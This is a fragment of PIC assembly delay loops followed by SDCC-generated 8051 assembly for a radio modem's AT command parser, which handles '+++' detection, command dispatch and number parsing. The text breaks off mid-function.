decfsz cta_a, f
goto otro1
return
bucle2:
movlw .10
movwf cta_b
otro2:
call bucle3
decfsz cta_b, f
goto otro2
return
bucle3:
movlw .10
movwf cta_c
otro3:
nop
decfsz cta_c, f
goto otro3
return
end | tocache/picomones | UPC Sistemas Digitales 2018-2/20182_sisdig_autoKITTbadguy.X/cancha_paguerselectaaa.asm | Assembly | cc0-1.0 | 2,268 |
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.3.0 #8604 (Dec 30 2013) (Linux)
; This file was generated Thu Jul 23 10:29:03 2015
;--------------------------------------------------------
.module at
.optsdcc -mmcs51 --model-large
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _tdm_show_rssi
.globl _tdm_change_phase
.globl _tdm_remote_at
.globl _tdm_report_timing
.globl _printfl
.globl _param_default
.globl _param_save
.globl _param_name
.globl _param_get
.globl _param_set
.globl _strcmp
.globl _putchar
.globl _isprint
.globl _islower
.globl _isdigit
.globl _NSS1
.globl _IRQ
.globl _PIN_ENABLE
.globl _PIN_CONFIG
.globl _LED_GREEN
.globl _LED_RED
.globl _SPI0EN
.globl _TXBMT0
.globl _NSS0MD0
.globl _NSS0MD1
.globl _RXOVRN0
.globl _MODF0
.globl _WCOL0
.globl _SPIF0
.globl _AD0CM0
.globl _AD0CM1
.globl _AD0CM2
.globl _AD0WINT
.globl _AD0BUSY
.globl _AD0INT
.globl _BURSTEN
.globl _AD0EN
.globl _CCF0
.globl _CCF1
.globl _CCF2
.globl _CCF3
.globl _CCF4
.globl _CCF5
.globl _CR
.globl _CF
.globl _P
.globl _F1
.globl _OV
.globl _RS0
.globl _RS1
.globl _F0
.globl _AC
.globl _CY
.globl _T2XCLK
.globl _T2RCLK
.globl _TR2
.globl _T2SPLIT
.globl _TF2CEN
.globl _TF2LEN
.globl _TF2L
.globl _TF2H
.globl _SI
.globl _ACK
.globl _ARBLOST
.globl _ACKRQ
.globl _STO
.globl _STA
.globl _TXMODE
.globl _MASTER
.globl _PX0
.globl _PT0
.globl _PX1
.globl _PT1
.globl _PS0
.globl _PT2
.globl _PSPI0
.globl _SPI1EN
.globl _TXBMT1
.globl _NSS1MD0
.globl _NSS1MD1
.globl _RXOVRN1
.globl _MODF1
.globl _WCOL1
.globl _SPIF1
.globl _EX0
.globl _ET0
.globl _EX1
.globl _ET1
.globl _ES0
.globl _ET2
.globl _ESPI0
.globl _EA
.globl _RI0
.globl _TI0
.globl _RB80
.globl _TB80
.globl _REN0
.globl _MCE0
.globl _S0MODE
.globl _CRC0VAL
.globl _CRC0INIT
.globl _CRC0SEL
.globl _IT0
.globl _IE0
.globl _IT1
.globl _IE1
.globl _TR0
.globl _TF0
.globl _TR1
.globl _TF1
.globl _PCA0CP4
.globl _PCA0CP0
.globl _PCA0
.globl _PCA0CP3
.globl _PCA0CP2
.globl _PCA0CP1
.globl _PCA0CP5
.globl _TMR2
.globl _TMR2RL
.globl _ADC0LT
.globl _ADC0GT
.globl _ADC0
.globl _TMR3
.globl _TMR3RL
.globl _TOFF
.globl _DP
.globl _VDM0CN
.globl _PCA0CPH4
.globl _PCA0CPL4
.globl _PCA0CPH0
.globl _PCA0CPL0
.globl _PCA0H
.globl _PCA0L
.globl _SPI0CN
.globl _EIP2
.globl _EIP1
.globl _SMB0ADM
.globl _SMB0ADR
.globl _P2MDIN
.globl _P1MDIN
.globl _P0MDIN
.globl _B
.globl _RSTSRC
.globl _PCA0CPH3
.globl _PCA0CPL3
.globl _PCA0CPH2
.globl _PCA0CPL2
.globl _PCA0CPH1
.globl _PCA0CPL1
.globl _ADC0CN
.globl _EIE2
.globl _EIE1
.globl _FLWR
.globl _IT01CF
.globl _XBR2
.globl _XBR1
.globl _XBR0
.globl _ACC
.globl _PCA0PWM
.globl _PCA0CPM4
.globl _PCA0CPM3
.globl _PCA0CPM2
.globl _PCA0CPM1
.globl _PCA0CPM0
.globl _PCA0MD
.globl _PCA0CN
.globl _P0MAT
.globl _P2SKIP
.globl _P1SKIP
.globl _P0SKIP
.globl _PCA0CPH5
.globl _PCA0CPL5
.globl _REF0CN
.globl _PSW
.globl _P1MAT
.globl _PCA0CPM5
.globl _TMR2H
.globl _TMR2L
.globl _TMR2RLH
.globl _TMR2RLL
.globl _REG0CN
.globl _TMR2CN
.globl _P0MASK
.globl _ADC0LTH
.globl _ADC0LTL
.globl _ADC0GTH
.globl _ADC0GTL
.globl _SMB0DAT
.globl _SMB0CF
.globl _SMB0CN
.globl _P1MASK
.globl _ADC0H
.globl _ADC0L
.globl _ADC0TK
.globl _ADC0CF
.globl _ADC0MX
.globl _ADC0PWR
.globl _ADC0AC
.globl _IREF0CN
.globl _IP
.globl _FLKEY
.globl _FLSCL
.globl _PMU0CF
.globl _OSCICL
.globl _OSCICN
.globl _OSCXCN
.globl _SPI1CN
.globl _ONESHOT
.globl _EMI0TC
.globl _RTC0KEY
.globl _RTC0DAT
.globl _RTC0ADR
.globl _EMI0CF
.globl _EMI0CN
.globl _CLKSEL
.globl _IE
.globl _SFRPAGE
.globl _P2DRV
.globl _P2MDOUT
.globl _P1DRV
.globl _P1MDOUT
.globl _P0DRV
.globl _P0MDOUT
.globl _SPI0DAT
.globl _SPI0CKR
.globl _SPI0CFG
.globl _P2
.globl _CPT0MX
.globl _CPT1MX
.globl _CPT0MD
.globl _CPT1MD
.globl _CPT0CN
.globl _CPT1CN
.globl _SBUF0
.globl _SCON0
.globl _CRC0CNT
.globl _DC0CN
.globl _CRC0AUTO
.globl _DC0CF
.globl _TMR3H
.globl _CRC0FLIP
.globl _TMR3L
.globl _CRC0IN
.globl _TMR3RLH
.globl _CRC0CN
.globl _TMR3RLL
.globl _CRC0DAT
.globl _TMR3CN
.globl _P1
.globl _PSCTL
.globl _CKCON
.globl _TH1
.globl _TH0
.globl _TL1
.globl _TL0
.globl _TMOD
.globl _TCON
.globl _PCON
.globl _TOFFH
.globl _SPI1DAT
.globl _TOFFL
.globl _SPI1CKR
.globl _SPI1CFG
.globl _DPH
.globl _DPL
.globl _SP
.globl _P0
.globl _at_num
.globl _idx
.globl _at_testmode
.globl _at_cmd_len
.globl _at_cmd
.globl _pdata_canary
.globl _at_cmd_ready
.globl _at_mode_active
.globl _at_input
.globl _at_plus_detector
.globl _at_timer
.globl _at_command
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0 = 0x0080
_SP = 0x0081
_DPL = 0x0082
_DPH = 0x0083
_SPI1CFG = 0x0084
_SPI1CKR = 0x0085
_TOFFL = 0x0085
_SPI1DAT = 0x0086
_TOFFH = 0x0086
_PCON = 0x0087
_TCON = 0x0088
_TMOD = 0x0089
_TL0 = 0x008a
_TL1 = 0x008b
_TH0 = 0x008c
_TH1 = 0x008d
_CKCON = 0x008e
_PSCTL = 0x008f
_P1 = 0x0090
_TMR3CN = 0x0091
_CRC0DAT = 0x0091
_TMR3RLL = 0x0092
_CRC0CN = 0x0092
_TMR3RLH = 0x0093
_CRC0IN = 0x0093
_TMR3L = 0x0094
_CRC0FLIP = 0x0095
_TMR3H = 0x0095
_DC0CF = 0x0096
_CRC0AUTO = 0x0096
_DC0CN = 0x0097
_CRC0CNT = 0x0097
_SCON0 = 0x0098
_SBUF0 = 0x0099
_CPT1CN = 0x009a
_CPT0CN = 0x009b
_CPT1MD = 0x009c
_CPT0MD = 0x009d
_CPT1MX = 0x009e
_CPT0MX = 0x009f
_P2 = 0x00a0
_SPI0CFG = 0x00a1
_SPI0CKR = 0x00a2
_SPI0DAT = 0x00a3
_P0MDOUT = 0x00a4
_P0DRV = 0x00a4
_P1MDOUT = 0x00a5
_P1DRV = 0x00a5
_P2MDOUT = 0x00a6
_P2DRV = 0x00a6
_SFRPAGE = 0x00a7
_IE = 0x00a8
_CLKSEL = 0x00a9
_EMI0CN = 0x00aa
_EMI0CF = 0x00ab
_RTC0ADR = 0x00ac
_RTC0DAT = 0x00ad
_RTC0KEY = 0x00ae
_EMI0TC = 0x00af
_ONESHOT = 0x00af
_SPI1CN = 0x00b0
_OSCXCN = 0x00b1
_OSCICN = 0x00b2
_OSCICL = 0x00b3
_PMU0CF = 0x00b5
_FLSCL = 0x00b6
_FLKEY = 0x00b7
_IP = 0x00b8
_IREF0CN = 0x00b9
_ADC0AC = 0x00ba
_ADC0PWR = 0x00ba
_ADC0MX = 0x00bb
_ADC0CF = 0x00bc
_ADC0TK = 0x00bd
_ADC0L = 0x00bd
_ADC0H = 0x00be
_P1MASK = 0x00bf
_SMB0CN = 0x00c0
_SMB0CF = 0x00c1
_SMB0DAT = 0x00c2
_ADC0GTL = 0x00c3
_ADC0GTH = 0x00c4
_ADC0LTL = 0x00c5
_ADC0LTH = 0x00c6
_P0MASK = 0x00c7
_TMR2CN = 0x00c8
_REG0CN = 0x00c9
_TMR2RLL = 0x00ca
_TMR2RLH = 0x00cb
_TMR2L = 0x00cc
_TMR2H = 0x00cd
_PCA0CPM5 = 0x00ce
_P1MAT = 0x00cf
_PSW = 0x00d0
_REF0CN = 0x00d1
_PCA0CPL5 = 0x00d2
_PCA0CPH5 = 0x00d3
_P0SKIP = 0x00d4
_P1SKIP = 0x00d5
_P2SKIP = 0x00d6
_P0MAT = 0x00d7
_PCA0CN = 0x00d8
_PCA0MD = 0x00d9
_PCA0CPM0 = 0x00da
_PCA0CPM1 = 0x00db
_PCA0CPM2 = 0x00dc
_PCA0CPM3 = 0x00dd
_PCA0CPM4 = 0x00de
_PCA0PWM = 0x00df
_ACC = 0x00e0
_XBR0 = 0x00e1
_XBR1 = 0x00e2
_XBR2 = 0x00e3
_IT01CF = 0x00e4
_FLWR = 0x00e5
_EIE1 = 0x00e6
_EIE2 = 0x00e7
_ADC0CN = 0x00e8
_PCA0CPL1 = 0x00e9
_PCA0CPH1 = 0x00ea
_PCA0CPL2 = 0x00eb
_PCA0CPH2 = 0x00ec
_PCA0CPL3 = 0x00ed
_PCA0CPH3 = 0x00ee
_RSTSRC = 0x00ef
_B = 0x00f0
_P0MDIN = 0x00f1
_P1MDIN = 0x00f2
_P2MDIN = 0x00f3
_SMB0ADR = 0x00f4
_SMB0ADM = 0x00f5
_EIP1 = 0x00f6
_EIP2 = 0x00f7
_SPI0CN = 0x00f8
_PCA0L = 0x00f9
_PCA0H = 0x00fa
_PCA0CPL0 = 0x00fb
_PCA0CPH0 = 0x00fc
_PCA0CPL4 = 0x00fd
_PCA0CPH4 = 0x00fe
_VDM0CN = 0x00ff
_DP = 0x8382
_TOFF = 0x8685
_TMR3RL = 0x9392
_TMR3 = 0x9594
_ADC0 = 0xbebd
_ADC0GT = 0xc4c3
_ADC0LT = 0xc6c5
_TMR2RL = 0xcbca
_TMR2 = 0xcdcc
_PCA0CP5 = 0xd3d2
_PCA0CP1 = 0xeae9
_PCA0CP2 = 0xeceb
_PCA0CP3 = 0xeeed
_PCA0 = 0xfaf9
_PCA0CP0 = 0xfcfb
_PCA0CP4 = 0xfefd
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_TF1 = 0x008f
_TR1 = 0x008e
_TF0 = 0x008d
_TR0 = 0x008c
_IE1 = 0x008b
_IT1 = 0x008a
_IE0 = 0x0089
_IT0 = 0x0088
_CRC0SEL = 0x0096
_CRC0INIT = 0x0095
_CRC0VAL = 0x0094
_S0MODE = 0x009f
_MCE0 = 0x009d
_REN0 = 0x009c
_TB80 = 0x009b
_RB80 = 0x009a
_TI0 = 0x0099
_RI0 = 0x0098
_EA = 0x00af
_ESPI0 = 0x00ae
_ET2 = 0x00ad
_ES0 = 0x00ac
_ET1 = 0x00ab
_EX1 = 0x00aa
_ET0 = 0x00a9
_EX0 = 0x00a8
_SPIF1 = 0x00b7
_WCOL1 = 0x00b6
_MODF1 = 0x00b5
_RXOVRN1 = 0x00b4
_NSS1MD1 = 0x00b3
_NSS1MD0 = 0x00b2
_TXBMT1 = 0x00b1
_SPI1EN = 0x00b0
_PSPI0 = 0x00be
_PT2 = 0x00bd
_PS0 = 0x00bc
_PT1 = 0x00bb
_PX1 = 0x00ba
_PT0 = 0x00b9
_PX0 = 0x00b8
_MASTER = 0x00c7
_TXMODE = 0x00c6
_STA = 0x00c5
_STO = 0x00c4
_ACKRQ = 0x00c3
_ARBLOST = 0x00c2
_ACK = 0x00c1
_SI = 0x00c0
_TF2H = 0x00cf
_TF2L = 0x00ce
_TF2LEN = 0x00cd
_TF2CEN = 0x00cc
_T2SPLIT = 0x00cb
_TR2 = 0x00ca
_T2RCLK = 0x00c9
_T2XCLK = 0x00c8
_CY = 0x00d7
_AC = 0x00d6
_F0 = 0x00d5
_RS1 = 0x00d4
_RS0 = 0x00d3
_OV = 0x00d2
_F1 = 0x00d1
_P = 0x00d0
_CF = 0x00df
_CR = 0x00de
_CCF5 = 0x00dd
_CCF4 = 0x00dc
_CCF3 = 0x00db
_CCF2 = 0x00da
_CCF1 = 0x00d9
_CCF0 = 0x00d8
_AD0EN = 0x00ef
_BURSTEN = 0x00ee
_AD0INT = 0x00ed
_AD0BUSY = 0x00ec
_AD0WINT = 0x00eb
_AD0CM2 = 0x00ea
_AD0CM1 = 0x00e9
_AD0CM0 = 0x00e8
_SPIF0 = 0x00ff
_WCOL0 = 0x00fe
_MODF0 = 0x00fd
_RXOVRN0 = 0x00fc
_NSS0MD1 = 0x00fb
_NSS0MD0 = 0x00fa
_TXBMT0 = 0x00f9
_SPI0EN = 0x00f8
_LED_RED = 0x0096
_LED_GREEN = 0x0095
_PIN_CONFIG = 0x0082
_PIN_ENABLE = 0x0083
_IRQ = 0x0087
_NSS1 = 0x0094
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
.area REG_BANK_0 (REL,OVR,DATA)
.ds 8
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area DSEG (DATA)
_at_i_id_3_158:
.ds 1
_at_i_end_3_158:
.ds 1
_at_i_sloc0_1_0:
.ds 4
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area ISEG (DATA)
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
.area IABS (ABS,DATA)
.area IABS (ABS,DATA)
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area BSEG (BIT)
_at_mode_active::
.ds 1
_at_cmd_ready::
.ds 1
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
.area PSEG (PAG,XDATA)
_pdata_canary::
.ds 1
_at_cmd::
.ds 17
_at_cmd_len::
.ds 1
_at_testmode::
.ds 1
_at_plus_state:
.ds 1
_at_plus_counter:
.ds 1
_idx::
.ds 1
_at_num::
.ds 4
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area XSEG (XDATA)
_at_ampersand_x_3_171:
.ds 1
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area XABS (ABS,XDATA)
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
.area XISEG (XDATA)
.area HOME (CODE)
.area GSINIT0 (CODE)
.area GSINIT1 (CODE)
.area GSINIT2 (CODE)
.area GSINIT3 (CODE)
.area GSINIT4 (CODE)
.area GSINIT5 (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area CSEG (CODE)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area GSINIT (CODE)
; radio/at.c:42: __pdata uint8_t pdata_canary = 0x41;
mov r0,#_pdata_canary
mov a,#0x41
movx @r0,a
; radio/at.c:133: static __pdata uint8_t at_plus_counter = ATP_COUNT_1S;
mov r0,#_at_plus_counter
mov a,#0x64
movx @r0,a
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME (CODE)
.area HOME (CODE)
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CSEG (CODE)
;------------------------------------------------------------
;Allocation info for local variables in function 'at_input'
;------------------------------------------------------------
;c Allocated to registers r7
;------------------------------------------------------------
; radio/at.c:66: at_input(register uint8_t c)
; -----------------------------------------
; function at_input
; -----------------------------------------
_at_input:
ar7 = 0x07
ar6 = 0x06
ar5 = 0x05
ar4 = 0x04
ar3 = 0x03
ar2 = 0x02
ar1 = 0x01
ar0 = 0x00
mov r7,dpl
; radio/at.c:69: switch (c) {
mov ar6,r7
cjne r6,#0x08,00137$
sjmp 00103$
00137$:
cjne r6,#0x0D,00138$
sjmp 00101$
00138$:
; radio/at.c:71: case '\r':
cjne r6,#0x7F,00106$
sjmp 00103$
00101$:
; radio/at.c:72: putchar('\n');
mov dpl,#0x0A
lcall _putchar
; radio/at.c:73: at_cmd[at_cmd_len] = 0;
mov r0,#_at_cmd_len
movx a,@r0
add a,#_at_cmd
mov r0,a
clr a
movx @r0,a
; radio/at.c:74: at_cmd_ready = true;
setb _at_cmd_ready
; radio/at.c:75: break;
; radio/at.c:80: case '\x7f':
ret
00103$:
; radio/at.c:81: if (at_cmd_len > 0) {
mov r0,#_at_cmd_len
movx a,@r0
jz 00112$
; radio/at.c:82: putchar('\b');
mov dpl,#0x08
lcall _putchar
; radio/at.c:83: putchar(' ');
mov dpl,#0x20
lcall _putchar
; radio/at.c:84: putchar('\b');
mov dpl,#0x08
lcall _putchar
; radio/at.c:85: at_cmd_len--;
mov r0,#_at_cmd_len
movx a,@r0
dec a
movx @r0,a
; radio/at.c:87: break;
; radio/at.c:90: default:
ret
00106$:
; radio/at.c:91: if (at_cmd_len < AT_CMD_MAXLEN) {
mov r0,#_at_cmd_len
movx a,@r0
cjne a,#0x10,00141$
00141$:
jnc 00110$
; radio/at.c:92: if (isprint(c)) {
mov dpl,r7
push ar7
push ar6
lcall _isprint
mov a,dpl
pop ar6
pop ar7
jz 00112$
; radio/at.c:93: c = toupper(c);
mov dpl,r7
push ar7
push ar6
lcall _islower
mov a,dpl
pop ar6
pop ar7
jz 00114$
anl ar6,#0xDF
sjmp 00115$
00114$:
mov ar6,r7
00115$:
mov ar7,r6
; radio/at.c:94: at_cmd[at_cmd_len++] = c;
mov r0,#_at_cmd_len
movx a,@r0
mov r6,a
mov r0,#_at_cmd_len
inc a
movx @r0,a
mov a,r6
add a,#_at_cmd
mov r0,a
mov a,r7
movx @r0,a
; radio/at.c:95: putchar(c);
mov dpl,r7
; radio/at.c:97: break;
ljmp _putchar
00110$:
; radio/at.c:105: at_mode_active = 0;
clr _at_mode_active
; radio/at.c:106: at_cmd_len = 0;
mov r0,#_at_cmd_len
clr a
movx @r0,a
; radio/at.c:108: }
00112$:
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_plus_detector'
;------------------------------------------------------------
;c Allocated to registers r7
;------------------------------------------------------------
; radio/at.c:138: at_plus_detector(register uint8_t c)
; -----------------------------------------
; function at_plus_detector
; -----------------------------------------
_at_plus_detector:
mov r7,dpl
; radio/at.c:144: if (c != (uint8_t)'+')
cjne r7,#0x2B,00118$
sjmp 00102$
00118$:
; radio/at.c:145: at_plus_state = ATP_WAIT_FOR_IDLE;
mov r0,#_at_plus_state
clr a
movx @r0,a
00102$:
; radio/at.c:149: switch (at_plus_state) {
mov r0,#_at_plus_state
clr c
movx a,@r0
mov b,a
mov a,#0x04
subb a,b
jc 00106$
mov r0,#_at_plus_state
movx a,@r0
mov b,#0x03
mul ab
mov dptr,#00120$
jmp @a+dptr
00120$:
ljmp 00107$
ljmp 00103$
ljmp 00104$
ljmp 00105$
ljmp 00108$
; radio/at.c:151: case ATP_WAIT_FOR_PLUS1:
00103$:
; radio/at.c:152: case ATP_WAIT_FOR_PLUS2:
00104$:
; radio/at.c:153: at_plus_state++;
mov r0,#_at_plus_state
movx a,@r0
add a,#0x01
movx @r0,a
; radio/at.c:154: break;
; radio/at.c:156: case ATP_WAIT_FOR_PLUS3:
ret
00105$:
; radio/at.c:157: at_plus_state = ATP_WAIT_FOR_ENABLE;
mov r0,#_at_plus_state
mov a,#0x04
movx @r0,a
; radio/at.c:158: at_plus_counter = ATP_COUNT_1S;
mov r0,#_at_plus_counter
mov a,#0x64
movx @r0,a
; radio/at.c:159: break;
; radio/at.c:161: default:
ret
00106$:
; radio/at.c:162: at_plus_state = ATP_WAIT_FOR_IDLE;
mov r0,#_at_plus_state
clr a
movx @r0,a
; radio/at.c:164: case ATP_WAIT_FOR_IDLE:
00107$:
; radio/at.c:165: case ATP_WAIT_FOR_ENABLE:
00108$:
; radio/at.c:166: at_plus_counter = ATP_COUNT_1S;
mov r0,#_at_plus_counter
mov a,#0x64
movx @r0,a
; radio/at.c:168: }
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_timer'
;------------------------------------------------------------
; radio/at.c:175: at_timer(void)
; -----------------------------------------
; function at_timer
; -----------------------------------------
_at_timer:
; radio/at.c:178: if (at_plus_counter > 0) {
mov r0,#_at_plus_counter
movx a,@r0
jz 00109$
; radio/at.c:181: if (--at_plus_counter == 0) {
mov r0,#_at_plus_counter
movx a,@r0
dec a
movx @r0,a
mov r0,#_at_plus_counter
movx a,@r0
jnz 00109$
; radio/at.c:184: switch (at_plus_state) {
mov r0,#_at_plus_state
movx a,@r0
jz 00101$
mov r0,#_at_plus_state
movx a,@r0
; radio/at.c:185: case ATP_WAIT_FOR_IDLE:
cjne a,#0x04,00109$
sjmp 00102$
00101$:
; radio/at.c:186: at_plus_state = ATP_WAIT_FOR_PLUS1;
mov r0,#_at_plus_state
mov a,#0x01
movx @r0,a
; radio/at.c:187: break;
; radio/at.c:189: case ATP_WAIT_FOR_ENABLE:
ret
00102$:
; radio/at.c:190: at_mode_active = true;
setb _at_mode_active
; radio/at.c:191: at_plus_state = ATP_WAIT_FOR_IDLE;
mov r0,#_at_plus_state
clr a
movx @r0,a
; radio/at.c:194: at_cmd[0] = 'A';
mov r0,#_at_cmd
mov a,#0x41
movx @r0,a
; radio/at.c:195: at_cmd[1] = 'T';
mov r0,#(_at_cmd + 0x0001)
mov a,#0x54
movx @r0,a
; radio/at.c:196: at_cmd[2] = '\0';
mov r0,#(_at_cmd + 0x0002)
clr a
movx @r0,a
; radio/at.c:197: at_cmd_len = 2;
mov r0,#_at_cmd_len
mov a,#0x02
movx @r0,a
; radio/at.c:198: at_cmd_ready = true;
setb _at_cmd_ready
; radio/at.c:202: }
00109$:
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_command'
;------------------------------------------------------------
; radio/at.c:209: at_command(void)
; -----------------------------------------
; function at_command
; -----------------------------------------
_at_command:
; radio/at.c:212: if (at_cmd_ready) {
jb _at_cmd_ready,00170$
ret
00170$:
; radio/at.c:213: if ((at_cmd_len >= 2) && (at_cmd[0] == 'R') && (at_cmd[1] == 'T')) {
mov r0,#_at_cmd_len
movx a,@r0
cjne a,#0x02,00171$
00171$:
clr a
rlc a
mov r7,a
jnz 00102$
mov r0,#_at_cmd
movx a,@r0
mov r6,a
cjne r6,#0x52,00102$
mov r0,#(_at_cmd + 0x0001)
movx a,@r0
mov r6,a
cjne r6,#0x54,00102$
; radio/at.c:216: tdm_remote_at();
lcall _tdm_remote_at
; radio/at.c:217: at_cmd_len = 0;
mov r0,#_at_cmd_len
clr a
movx @r0,a
; radio/at.c:218: at_cmd_ready = false;
clr _at_cmd_ready
; radio/at.c:219: return;
ret
00102$:
; radio/at.c:222: if ((at_cmd_len >= 2) && (at_cmd[0] == 'A') && (at_cmd[1] == 'T')) {
mov a,r7
jnz 00116$
mov r0,#_at_cmd
movx a,@r0
mov r7,a
cjne r7,#0x41,00116$
mov r0,#(_at_cmd + 0x0001)
movx a,@r0
mov r7,a
cjne r7,#0x54,00116$
; radio/at.c:225: switch (at_cmd[2]) {
mov r0,#(_at_cmd + 0x0002)
movx a,@r0
mov r7,a
jz 00105$
cjne r7,#0x26,00183$
sjmp 00106$
00183$:
cjne r7,#0x2B,00184$
sjmp 00107$
00184$:
cjne r7,#0x49,00185$
sjmp 00108$
00185$:
cjne r7,#0x4F,00186$
sjmp 00109$
00186$:
cjne r7,#0x53,00187$
sjmp 00110$
00187$:
; radio/at.c:226: case '\0': // no command -> OK
cjne r7,#0x5A,00113$
sjmp 00111$
00105$:
; radio/at.c:227: at_ok();
lcall _at_ok
; radio/at.c:228: break;
; radio/at.c:229: case '&':
sjmp 00116$
00106$:
; radio/at.c:230: at_ampersand();
lcall _at_ampersand
; radio/at.c:231: break;
; radio/at.c:232: case '+':
sjmp 00116$
00107$:
; radio/at.c:233: at_plus();
lcall _at_plus
; radio/at.c:234: break;
; radio/at.c:235: case 'I':
sjmp 00116$
00108$:
; radio/at.c:236: at_i();
lcall _at_i
; radio/at.c:237: break;
; radio/at.c:238: case 'O': // O -> go online (exit command mode)
sjmp 00116$
00109$:
; radio/at.c:239: at_plus_counter = ATP_COUNT_1S;
mov r0,#_at_plus_counter
mov a,#0x64
movx @r0,a
; radio/at.c:240: at_mode_active = 0;
clr _at_mode_active
; radio/at.c:241: break;
; radio/at.c:242: case 'S':
sjmp 00116$
00110$:
; radio/at.c:243: at_s();
lcall _at_s
; radio/at.c:244: break;
; radio/at.c:246: case 'Z':
sjmp 00116$
00111$:
; radio/at.c:248: RSTSRC |= (1 << 4);
orl _RSTSRC,#0x10
00122$:
; radio/at.c:252: default:
sjmp 00122$
00113$:
; radio/at.c:253: at_error();
lcall _at_error
; radio/at.c:254: }
00116$:
; radio/at.c:258: at_cmd_len = 0;
mov r0,#_at_cmd_len
clr a
movx @r0,a
; radio/at.c:259: at_cmd_ready = false;
clr _at_cmd_ready
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_ok'
;------------------------------------------------------------
; radio/at.c:264: at_ok(void)
; -----------------------------------------
; function at_ok
; -----------------------------------------
_at_ok:
; radio/at.c:266: printf("%s\n", "OK");
mov a,#__str_1
push acc
mov a,#(__str_1 >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfa
mov sp,a
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_error'
;------------------------------------------------------------
; radio/at.c:270: at_error(void)
; -----------------------------------------
; function at_error
; -----------------------------------------
_at_error:
; radio/at.c:272: printf("%s\n", "ERROR");
mov a,#__str_2
push acc
mov a,#(__str_2 >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printfl
mov a,sp
add a,#0xfa
mov sp,a
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_parse_number'
;------------------------------------------------------------
;c Allocated to registers r7
;sloc0 Allocated to stack - sp -3
;------------------------------------------------------------
; radio/at.c:282: at_parse_number() __reentrant
; -----------------------------------------
; function at_parse_number
; -----------------------------------------
_at_parse_number:
mov a,sp
add a,#0x04
mov sp,a
; radio/at.c:286: at_num = 0;
mov r0,#_at_num
clr a
movx @r0,a
inc r0
movx @r0,a
inc r0
movx @r0,a
inc r0
movx @r0,a
00104$:
; radio/at.c:288: c = at_cmd[idx];
mov r0,#_idx
movx a,@r0
add a,#_at_cmd
mov r1,a
movx a,@r1
; radio/at.c:289: if (!isdigit(c))
mov r7,a
mov dpl,a
push ar7
lcall _isdigit
mov a,dpl
pop ar7
jz 00106$
; radio/at.c:291: at_num = (at_num * 10) + (c - '0');
mov r0,#_at_num
mov dptr,#__mullong_PARM_2
movx a,@r0
movx @dptr,a
inc r0
movx a,@r0
inc dptr
movx @dptr,a
inc r0
movx a,@r0
inc dptr
movx @dptr,a
inc r0
movx a,@r0
inc dptr
movx @dptr,a
mov dptr,#(0x0A&0x00ff)
clr a
mov b,a
push ar7
lcall __mullong
xch a,r0
mov a,sp
add a,#0xfc
xch a,r0
mov @r0,dpl
inc r0
mov @r0,dph
inc r0
mov @r0,b
inc r0
mov @r0,a
pop ar7
mov r2,#0x00
mov a,r7
add a,#0xD0
mov r7,a
mov a,r2
addc a,#0xFF
mov r2,a
mov ar5,r7
rlc a
subb a,acc
mov r6,a
mov r7,a
mov a,sp
add a,#0xfd
mov r0,a
mov a,r5
add a,@r0
mov r5,a
mov a,r2
inc r0
addc a,@r0
mov r2,a
mov a,r6
inc r0
addc a,@r0
mov r6,a
mov a,r7
inc r0
addc a,@r0
mov r7,a
mov r0,#_at_num
mov a,r5
movx @r0,a
inc r0
mov a,r2
movx @r0,a
inc r0
mov a,r6
movx @r0,a
inc r0
mov a,r7
movx @r0,a
; radio/at.c:292: idx++;
mov r0,#_idx
movx a,@r0
add a,#0x01
movx @r0,a
ljmp 00104$
00106$:
mov a,sp
add a,#0xFC
mov sp,a
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'at_i'
;------------------------------------------------------------
;id Allocated with name '_at_i_id_3_158'
;start Allocated to registers r7
;end Allocated with name '_at_i_end_3_158'
;sloc0 Allocated with name '_at_i_sloc0_1_0'
;------------------------------------------------------------
; radio/at.c:297: at_i(void)
; -----------------------------------------
; function at_i
; -----------------------------------------
_at_i:
; radio/at.c:299: switch (at_cmd[3]) {
mov r0,#(_at_cmd + 0x0003)
movx a,@r0
mov r7,a
jz 00102$
cjne r7,#0x30,00171$
sjmp 00102$
00171$:
cjne r7,#0x31,00172$
sjmp 00103$
00172$:
cjne r7,#0x32,00173$
sjmp 00104$
00173$:
cjne r7,#0x33,00174$
ljmp 00105$
00174$:
cjne r7,#0x34,00175$
ljmp 00106$
00175$:
cjne r7,#0x35,00176$
ljmp 00107$
00176$:
cjne r7,#0x36,00177$
ljmp 00115$
00177$:
cjne r7,#0x37,00178$
ljmp 00116$
00178$:
ljmp 00117$
; radio/at.c:301: case '0':
00102$:
